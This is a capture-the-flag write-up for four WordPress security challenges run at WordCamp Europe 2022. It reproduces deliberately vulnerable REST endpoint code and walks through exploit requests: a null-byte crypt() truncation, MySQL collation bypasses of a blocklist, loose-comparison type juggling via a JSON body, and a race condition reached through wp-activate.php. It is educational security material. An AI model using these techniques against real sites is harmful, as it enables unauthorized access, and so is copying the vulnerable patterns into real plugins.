Capture the Flag at WordCamp Europe 2022

During WordCamp Europe 2022, we ran a WordPress Capture The Flag (CTF) competition across four challenges.

We wanted to introduce folks to the addictive world of CTF, and let people experience how security researchers approach bug hunting, such as looking for oddities in the code and combining them to do weird, sometimes counterintuitive things.

Challenge #1 – Are You Lucky?

Challenge #2 – Blocklist Bypass?

Challenge #3 – License to Capture the Flag

Challenge #4 – License to CTF: Part 2

If you’re interested in trying it out, you can still get the challenge files here:

Challenge #1 – Are You Lucky? (250 points)

Relevant Code Snippets

 register_rest_route( 'hackismet', '/am-i-lucky', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_am_i_lucky',
     'permission_callback' => '__return_true',
 ]);

 function hackismet_am_i_lucky( $request ) {
     $flag = get_option( 'secret_hackismet_flag_2' );
     if( hash_equals( crypt( $request['payload'] . $flag . random_bytes(32), '$1$sup3r_s3kr3t_s4lt' ), $request['hash'] ) ) {
        return rest_ensure_response( $flag );
     }
     return rest_ensure_response(false);
 }

How Could It Be Solved?

This challenge presented a REST API endpoint that could be accessed via the /wp-json/hackismet/am-i-lucky route. It was designed to receive a payload and hash request parameter, concatenate request['payload'] to the flag and a string of 32 cryptographically secure random bytes, and compare the resulting hash with request['hash'].

Upon reading the crypt() function’s documentation, one could find that this function is not binary safe (yet!), meaning a null byte (%00) could be used to truncate the string-to-be-hashed right before the flag and 32 random bytes. This is because the current implementation of that function in PHP is basically just an alias of the underlying C function of the same name, and C strings terminate with null bytes.

To get your flag, all that you had to do was calculate a hash with the message you control and the cryptographic salt used in the plugin’s code, use the resulting hash in the “hash” parameter, and put your message in the “payload” parameter, concatenated with a null byte (%00). 

Here’s what a successful exploit looked like:

/wp-json/hackismet/am-i-lucky?payload=lel%00&hash=$1$sup3r_s3$sThhFzCqsprSVMNFOAm5Q/

Challenge #2 – Blocklist Bypass? (250 points)

Relevant Code Snippets

 register_rest_route( 'hackismet', '/get-option/(?P<option_key>\w+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_get_option',
     'permission_callback' => 'hackismet_validate_option',
 ]);

 function hackismet_validate_option( $request ) {
     $option_key = trim( strtolower( $request['option_key'] ) );
     if( empty( $option_key ) ) {
        return false;
     }
 
     if( ! preg_match( '/^hackismet_/i', $option_key) ) {
        return false;
     }
 
     if( $option_key == 'hackismet_flag_1' ) {
        return false;
     }
     return true;
 }

 function hackismet_get_option( $request ) {
    $option_key = trim( strtolower( $request['option_key'] ) );
    return rest_ensure_response( get_option( $option_key ) );
 }

How Could It Be Solved?

This challenge presented a REST API endpoint that could be accessed via /wp-json/hackismet/get-option/option_key_you_want

The goal was pretty simple: try to leak the “hackismet_flag_1” option.

Unfortunately, the permission callback for that endpoint also did a few things to prevent you from simply grabbing any options on the site:

  • It validated that the option key started with “hackismet_”.
  • It also ensured that whatever option you intended to retrieve wasn’t hackismet_flag_1, where the flag was located.
  • To make things appear more difficult, the API route limited which characters could make it in the option_key route parameter, only allowing strings matching the \w+ regex.

The “hackismet_validate_option” callback function also used the “strtolower” and “trim” functions in an attempt to normalize the “option_key” parameter. This was to thwart attempts at using well-documented behaviors from MySQL’s  “utf8mb4_unicode_ci” collation, like the fact that string comparisons aren’t case-sensitive, and that it doesn’t care about trailing spaces in VARCHAR columns either.

Other Collation Tricks

To solve this challenge, one had to find other peculiarities in the way “utf8mb4_unicode_ci” does string searches to bypass the checks in place, and there were at least two ways of doing so.

Accent Sensitiveness

As mentioned in the official MySQL documentation:

For nonbinary collation names that do not specify accent sensitivity, it is determined by case sensitivity.

Put shortly: accent sensitivity is a thing. WordPress’ default collation uses the “_ci” component (for “Case-Insensitive”), which means the collation is also Accent-Insensitive.

Thus, passing “hackismet_flàg_1” would bypass the checks in hackismet_validate_option.

Ignorable Weights

The Unicode Collation Algorithm, which is used by MySQL’s utf8mb4_unicode_ci collation to compare and sort Unicode strings describes the concept of “ignorable weights” as the following:


Ignorable weights are passed over by the rules that construct sort keys from sequences of collation elements. Thus, their presence in collation elements does not impact the comparison of strings using the resulting sort keys. The judicious assignment of ignorable weights in collation elements is an important concept for the UCA.

Put shortly, the algorithm calculates a weight for each collation element (characters), and some of them are defined as having a default weight of zero, which effectively makes the algorithm ignore them when doing string comparisons.

There were multiple ways of (ab)using that behavior to beat the challenge, including:

  • Adding null bytes somewhere inside the string (e.g. hackismet_fl%00ag_1)
  • Inserting invalid UTF-8 sequences inside the string (e.g. hackismet_fl%c2%80ag_1)

You can find a lot of other combinations in MySQL’s implementation of the UCA.

Bypassing The “option_key” Parameter Character Restriction

The “option_key” route variable was defined to not let anything other than \w+ pass. That was a problem. PHP treats every string as a series of bytes instead of unicode characters like MySQL does, so sending a request to “/wp-json/hackismet/get-option/hackismet_flàg_1”  or “/wp-json/hackismet/get-option/hackismet_fla%00g_1” wouldn’t work.

To bypass that, WordPress’ official documentation about writing REST API endpoints helped a bit, specifically the line where it says:

By default, routes receive all arguments passed in from the request. These are merged into a single set of parameters, then added to the Request object, which is passed in as the first parameter to your endpoint

What that means in practice is that upon visiting /wp-json/hackismet/get-option/test?option_key=hackismet_fla%00g_1, the option_key parameter would contain “hackismet_fla%00g_1”, and not “test”, which would also force the plugin to give you the flag.

Challenge #3 – License to Capture the Flag (500 points)

Relevant Code Snippets

 register_rest_route( 'hackismet', '/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_generate_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_access_flag_3',
     'permission_callback' => 'hackismet_validate_license',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/delete-license/(?P<session_id>[0-9a-f\-]+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_delete_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 function hackismet_generate_license( $request ) {
     // 128 bits of entropy should be enough to prevent bruteforce.
     $license_key = bin2hex( random_bytes(40) );
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
     // Reset it.
     update_option( 'secret_hackismet_license_key_' . $request['session_id'], bin2hex( random_bytes( 64 ) ) );
     return rest_ensure_response('License successfully generated!');
 }

 function hackismet_delete_license( $request ) {
     // Remove existing key.
     delete_option('secret_hackismet_license_key_' . $request['session_id']);
     return rest_ensure_response('License successfully deleted!');
 }

 function hackismet_validate_license( $request ) {
    // Ensure a key has been set
    if( ! get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return new WP_Error('no_license', 'No license exists for this session_id!');
    }
    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }
    return false;
 }

 function hackismet_access_flag_3( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_3' ) );
 }

How Could It Be Solved?

The idea behind this challenge was to simulate a (very) broken license management and validation system.

While this challenge was meant to let participants exploit a pretty esoteric race condition vulnerability, a subtle oversight from the challenge designer made it solvable using a non-intended, less exotic solution.

The challenge presented three endpoints, even though only two would be necessary to get the flag:

  • /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
  • /hackismet/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
  • /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)

The generate-license endpoint populated a session-specific license key, which would then be validated using the access-flag-3 endpoint’s hackismet_validate_license permission callback. Unfortunately, as you never got to see what the actual generated license key was, you had to find a way to bypass the license check altogether in order to get the flag.

    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }

One way to do that was to have $request['key'] contain a boolean value of “true”, and $request['rounds'] a value of zero. By doing this, you ensured that $request['key'] wasn’t modified by multiple calls to str_rot13, and since license validation is done using PHP’s loose comparison operator, the comparison would always return true.

However, you couldn’t do that with regular GET or POST parameters, as these only ever contain strings or arrays. Fortunately, the WordPress REST API allows you to send a JSON request body, even on endpoints that are only registered to use the GET HTTP method. As a result, sending the following requests would give you the challenge’s flag:

curl –url 'https://ctfsite.com/wp-json/generate-license/$your_session_id/1234'
curl –url 'https://ctfsite.com/wp-json/access-flag-3/$your_session_id/0' -X GET –data '{"key":true}' -H 'Content-Type: application/json'

Challenge #4 – License to CTF: Part 2 (500 points)

Relevant Code Snippets

register_rest_route( 'hackismet', '/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
    'methods' => WP_Rest_Server::READABLE,
    'callback' => 'hackismet_access_flag_4',
    'permission_callback' => 'hackismet_validate_license',
    'args' => [
        'session_id' => [
           'required' => true,
           'type' => 'string',
           'validate_callback' => 'wp_is_uuid'
        ],
        'key' => [
            'required' => true,
            'type' => 'string'
        ]
    ]
]);

 function hackismet_access_flag_4( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_4' ) );
 }

// (... and basically every other code snippets from Challenge #3! )

How Could It Be Solved?

This challenge presented three endpoints (and actually required using all three to be solved!):

  • /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)
  • /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)
  • /hackismet/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)

As you can see, those are the very same endpoints as the last challenge, the only difference now is that we ensure that $request['key'] is a string to prevent the type-juggling issue we mentioned in the other challenge.

The self-explaining delete-license route did exactly what you’d expect it to: remove the current license from the database. Similarly, access-flag-4 simply returned the flag, assuming its permission callback, hackismet_validate_license, allowed it to happen.

As you can see from the hackismet_validate_license code snippet, the permission callback called get_option twice, once to validate a license key is set and another to actually compare it to the one we’re providing. Both calls are separated by a str_rot13 loop that runs for as many rounds as defined in the $request['rounds'] route variable.

This made it possible for a race condition to occur by sending a big number in the rounds variable to delay the request long enough for us to hit the /hackismet/delete-license endpoint, effectively deleting the license before it’s compared against our own. 

The fact that get_option() defaults to returning a boolean false if it doesn’t find a given option is the cherry on the cake. Since the function never checks whether $request['key'] is empty, and false == “ when loosely comparing different types in PHP, this would allow us to completely bypass the security checks. 

But this is just in theory!

Caching to the rescue!

As can be seen from the function’s source code, get_option caches the result of whatever option it is retrieving, so any further request for that option on the same HTTP request won’t send additional separate SQL queries. This alone prevents our race condition attack from working. Even if another request deleted the license option while we’re looping through all those str_rot13 calls, get_option wouldn’t know due to the result being cached for that request already!

Again, looking at the source code, it looks like the only way to prevent that from happening is if wp_installing returns… true? As it turns out, we can make it do that. 🙂

Is WordPress installed yet?

The wp_installing function relies on the WP_INSTALLING constant to determine if WordPress is currently installing, or updating itself. Searching for places where this constant is defined leads to very few results, the most interesting in our case being wp-activate.php:

<?php
/**
 * Confirms that the activation key that is sent in an email after a user signs
 * up for a new site matches the key for that user and then displays confirmation.
 *
 * @package WordPress
 */
 
define( 'WP_INSTALLING', true );
 
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
 
require __DIR__ . '/wp-blog-header.php';
 
if ( ! is_multisite() ) {
    wp_redirect( wp_registration_url() );
    die();
}

What makes it particularly fitting for our purpose here, is that one of the first things it does is run require() on wp-blog-header.php.

Long story short: the code that actually launches the REST API server is hooked to the parse_request action, so it will only be available when WordPress internally sets up the query variables necessary for The Loop to do its work. 

This only occurs if the wp() function is called like it is in wp-blog-header.php.

Since, internally, WordPress uses the rest_route parameter to know which route to load, adding that parameter to the URL is all it takes to launch the API while visiting /wp-activate.php.

As such, the final attack looked something like this:

  1. Send a request to /wp-activate.php?rest_route=/hackismet/access-flag-4/$session_id/$rounds where $rounds is a pretty big number to make this request run long enough to let you do step #2.
  2. Send a request to /wp-json/hackismet/delete-license/$session_id while your first request is blocked at the str_rot13 loop.
  3. Wait for your first request to finish, and get your flag.

Conclusion

We hope you had as much fun participating in this first edition of the Jetpack Capture The Flag competition as we had running it. We look forward to doing this again sometime in the future. To learn more about CTF, checkout CTF101.org

Credits

Challenge designer: Marc Montpas

Special thanks to Harald Eilertsen for spreading the word in person at WordCamp Europe, and the Jetpack Scan team for feedback, help, and corrections.

Go to source

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.